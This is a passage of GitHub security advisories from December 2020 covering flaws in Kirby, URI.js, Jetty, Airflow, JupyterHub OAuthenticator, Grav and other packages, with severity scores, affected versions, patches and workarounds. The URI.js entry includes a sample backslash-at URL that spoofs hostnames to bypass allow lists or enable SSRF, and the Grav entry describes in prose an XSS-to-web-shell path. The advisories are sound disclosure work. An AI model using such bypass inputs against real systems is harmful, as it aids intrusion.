Published: 2020-12-08T14:42:08Z

### Impact

An editor with full access to the Kirby Panel can upload a PHP `.phar` file and execute it on the server. This vulnerability is critical if you might have potential attackers in your group of authenticated Panel users, as they can gain access to the server with such a Phar file.

Visitors without Panel access *cannot* use this attack vector.

### Patches

The problem has been patched in [Kirby 2.5.14](https://github.com/getkirby-v2/panel/releases/tag/2.5.14) and [Kirby 3.4.5](https://github.com/getkirby/kirby/releases/tag/3.4.5). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases/) to fix the vulnerability.

**Note:** Kirby 2 reaches end of life on December 31, 2020. We therefore recommend to upgrade your Kirby 2 sites to Kirby 3. If you cannot upgrade, we still recommend to update to Kirby 2.5.14.

### Workarounds

Kirby 2 sites on older releases can also be patched by applying the [changes from this commit](https://github.com/getkirby-v2/panel/commit/5a569d4e3ddaea2b6628d7ec1472a3e8bc410881).

### Credits

Thanks to Thore Imhof of Accenture for reporting the problem.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N
Affected packages:
package: ecosystem: Packagist, name: getkirby/panel, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 2.5.14
package: ecosystem: Packagist, name: getkirby/cms, ranges: type: ECOSYSTEM, events: introduced: 3.0.0
fixed: 3.4.5
Command Injection in corenlp-js-interface
Advisory: GHSA-ffxg-xm4w-3wg9 (CVE-2020-28440)
Published: 2020-12-18T18:23:04Z

All versions of package corenlp-js-interface are vulnerable to Command Injection via the main function.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected packages:
package: ecosystem: npm, name: corenlp-js-interface, ranges: type: ECOSYSTEM, events: introduced: 0
last_affected: 1.0.3
Hostname spoofing via backslashes in URL
Advisory: GHSA-3329-pjwv-fjpg (CVE-2020-26291)
Published: 2020-12-30T23:40:48Z

### Impact
If using affected versions to determine a URL's hostname, the hostname can be spoofed by using a backslash (`\`) character followed by an at (`@`) character. If the hostname is used in security decisions, the decision may be incorrect.

Depending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.

Example URL: `https://expected-example.com\@observed-example.com`
Escaped string: `https://expected-example.com\\@observed-example.com` (JavaScript strings must escape backslash)

Affected versions incorrectly return `observed-example.com`. Patched versions correctly return `expected-example.com`. Patched versions match the behavior of other parsers which implement the [WHATWG URL specification](https://url.spec.whatwg.org/), including web browsers and [Node's built-in URL class](https://nodejs.org/api/url.html).

### Patches
Version 1.19.4 is patched against all known payload variants. Version 1.19.3 has a partial patch but is still vulnerable to a payload variant.

### References
https://github.com/medialize/URI.js/releases/tag/v1.19.4 (complete fix for this bypass)
https://github.com/medialize/URI.js/releases/tag/v1.19.3 (partial fix for this bypass)
[PR #233](https://github.com/medialize/URI.js/pull/233) (initial fix for backslash handling)

### For more information
If you have any questions or comments about this advisory, open an issue in https://github.com/medialize/URI.js

### Reporter credit
[Alesandro Ortiz](https://AlesandroOrtiz.com)

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Affected packages:
package: ecosystem: npm, name: urijs, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 1.19.4
Buffer not correctly recycled in Gzip Request inflation
Advisory: GHSA-86wm-rrjm-8wh8 (CVE-2020-27218)
Published: 2020-12-02T18:28:18Z

### Impact
If GZIP request body inflation is enabled and requests from different clients are multiplexed onto a single connection and if an 
attacker can send a request with a body that is received entirely by not consumed by the application, then a subsequent request
on the same connection will see that body prepended to it's body.

The attacker will not see any data, but may inject data into the body of the subsequent request

CVE score is [4.8 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L&version=3.1)

### Workarounds
The problem can be worked around by either:
- Disabling compressed request body inflation by GzipHandler.
- By always fully consuming the request content before sending a response.
- By adding a `Connection: close` to any response where the servlet does not fully consume request content.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L
Affected packages:
package: ecosystem: Maven, name: org.eclipse.jetty:jetty-server, ranges: type: ECOSYSTEM, events: introduced: 9.4.0
fixed: 9.4.35.v20201120, database_specific: last_known_affected_version_range: <= 9.4.34
datatables.net vulnerable to Prototype Pollution due to incomplete fix
Advisory: GHSA-m7j4-fhg6-xf5v (CVE-2020-28458)
Published: 2020-12-17T21:00:50Z

All versions of package datatables.net are vulnerable to Prototype Pollution due to an incomplete fix for https://snyk.io/vuln/SNYK-JS-DATATABLESNET-598806.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Affected packages:
package: ecosystem: npm, name: datatables.net, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 1.10.22
SSRF vulnerability in Arache Airflow
Advisory: GHSA-6r3p-fcvm-xh7c (CVE-2020-17513)
Published: 2020-12-17T21:00:58Z

In Apache Airflow versions prior to 1.10.13, the Charts and Query View of the old (Flask-admin based) UI were vulnerable for SSRF attack.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Affected packages:
package: ecosystem: PyPI, name: apache-airflow, ecosystem_specific: affected_functions: , ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 1.10.13
Cross-Site Scripting bypass in html-purify
Advisory: GHSA-5p28-63mc-cgr9 ()
Published: 2020-12-04T20:04:37Z

All versions of html-purify are vulnerable to cross-site scripting. The data attribute inside of object tags is not properly sanitized and allows javascript URIs leading to code execution.

No fix is currently available. Consider using an alternative package until a fix is made available.

Affected packages:
package: ecosystem: npm, name: html-purify, ranges: type: ECOSYSTEM, events: introduced: 0
last_affected: 1.1.0
Command injection in connection-tester
Advisory: GHSA-w5mp-8p8w-mhh8 (CVE-2020-7781)
Published: 2020-12-17T21:00:53Z

This affects the package connection-tester before 0.2.1. The injection point is located in line 15 in index.js. Affected versions of this package are vulnerable to Command Injection

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected packages:
package: ecosystem: npm, name: connection-tester, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 0.2.1
Authenticated Privilege Escalation
Advisory: GHSA-5q58-x5h2-v5rx ()
Published: 2020-12-21T18:01:08Z

### Impact
Authenticated Privilege Escalation

### Patches
We recommend to update to the current version 6.3.4.1. You can get the update to 6.3.4.1 regularly via the Auto-Updater or directly via the download overview.

https://www.shopware.com/en/download/#shopware-6

### Workarounds
For older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:

https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659

### For more information
https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-12-2020

Affected packages:
package: ecosystem: Packagist, name: shopware/platform, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 6.3.4.1, database_specific: last_known_affected_version_range: <= 6.3.4.0
package: ecosystem: Packagist, name: shopware/core, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 6.3.4.1, database_specific: last_known_affected_version_range: <= 6.3.4.0
Base class whitelist configuration ignored in OAuthenticator
Advisory: GHSA-384w-5v3f-q499 (CVE-2020-26250)
Published: 2020-12-01T20:25:00Z

### Impact

__What goes wrong?__

The deprecated (in jupyterhub 1.2) configuration `Authenticator.whitelist`, which should be transparently mapped to `Authenticator.allowed_users` with a warning, is instead ignored by OAuthenticator classes, resulting in the same behavior as if this configuration has not been set. If this is the only mechanism of authorization restriction (i.e. no group or team restrictions in configuration) then all authenticated users will be allowed. Provider-based restrictions, including deprecated values such as `GitHubOAuthenticator.org_whitelist` are **not** affected.

__Who is impacted?__

All users of OAuthenticator 0.12.0 and 0.12.1 with JupyterHub 1.2 (JupyterHub Helm chart 0.10.0-0.10.5) who use the `admin.whitelist.users` configuration in the jupyterhub helm chart or the `c.Authenticator.whitelist` configuration directly. Users of other deprecated configuration, e.g. `c.GitHubOAuthenticator.team_whitelist` are **not** affected.

If you see a log line like this and expect a specific list of allowed usernames:

```
[I 2020-11-27 16:51:54.528 JupyterHub app:1717] Not using allowed_users. Any authenticated user will be allowed.
```

you are likely affected.

### Patches

- Replacing deprecated `c.Authenticator.whitelist = ...` with `c.Authenticator.allowed_users = ...` avoids the issue.
- Update oauthenticator to 0.12.2
- Update jupyterhub helm chart to 0.10.6

If any users have been authorized during this time who should not have been, they must be deleted via the API or admin interface, [per the documentation](https://jupyterhub.readthedocs.io/en/1.2.2/getting-started/authenticators-users-basics.html#add-or-remove-users-from-the-hub).

### Workarounds

Replacing `c.Authenticator.whitelist = ...` with `c.Authenticator.allowed_users = ...` avoids the issue.

In the jupyterhub helm chart prior to 0.10.6, this can be done via `hub.extraConfig`:

```yaml
auth:
  allowedUsers:
  - user1
  - user2

hub:
  extraConfig:
    allowedUsers: |
        # set new field not exposed in helm chart < 0.10.6
        set_config_if_not_none(c.Authenticator, "allowed_users", "auth.allowedUsers")
```


### For more information

If you have any questions or comments about this advisory:

* Open a thread [on the Jupyter forum](http://discourse.jupyter.org)
* Email us at [security@ipython.org](mailto:security@ipython.org)

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Affected packages:
package: ecosystem: PyPI, name: oauthenticator, ranges: type: ECOSYSTEM, events: introduced: 0.12.0
fixed: 0.12.2
Cross-Site Scripting in Grav
Advisory: GHSA-cvmr-6428-87w9 ()
Published: 2020-12-10T23:13:08Z

### Impact
Privileged users (with the ability to edit pages) have a mechanism to perform remote code execution via XSS. At a minimum, the vulnerability represents a bypass of security controls put in place to mitigate this form of attack.

The remote code execution can be performed because XSS would allow an attacker to execute functionality on behalf of a stolen administrative account - the facility to install custom plugins would then allow said attacker to install a plugin containing a web shell and thus garner access to the underlying system.

### References
https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
https://cwe.mitre.org/data/definitions/79.html

### For more information
Please contact contact@pentest.co.uk

Affected packages:
package: ecosystem: Packagist, name: getgrav/grav, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 1.6.30
Information Disclosure in Apache Groovy
Advisory: GHSA-rcjj-h6gh-jf3r (CVE-2020-17521)
Published: 2020-12-09T19:03:03Z

Apache Groovy provides extension methods to aid with creating temporary directories. Prior to this fix, Groovy's implementation of those extension methods was using a now superseded Java JDK method call that is potentially not secure on some operating systems in some contexts. Users not using the extension methods mentioned in the advisory are not affected, but may wish to read the advisory for further details. Versions Affected: 2.0 to 2.4.20, 2.5.0 to 2.5.13, 3.0.0 to 3.0.6, and 4.0.0-alpha-1. Fixed in versions 2.4.21, 2.5.14, 3.0.7, 4.0.0-alpha-2.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected packages:
package: ecosystem: Maven, name: org.codehaus.groovy:groovy, ranges: type: ECOSYSTEM, events: introduced: 2.0.0
fixed: 2.4.21
package: ecosystem: Maven, name: org.codehaus.groovy:groovy, ranges: type: ECOSYSTEM, events: introduced: 2.5.0
fixed: 2.5.14
package: ecosystem: Maven, name: org.codehaus.groovy:groovy, ranges: type: ECOSYSTEM, events: introduced: 3.0.0
fixed: 3.0.7
regular expression denial of service (ReDoS)
Advisory: GHSA-r92x-f52r-x54g (CVE-2020-26289)
Published: 2020-12-24T20:49:02Z

date-and-time is an npm package for manipulating date and time. In date-and-time before version 0.14.2, there a regular expression involved in parsing which can be exploited to to cause a denial of service. This is fixed in version 0.14.2.

Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected packages:
package: ecosystem: npm, name: date-and-time, ranges: type: ECOSYSTEM, events: introduced: 0
fixed: 0.14.2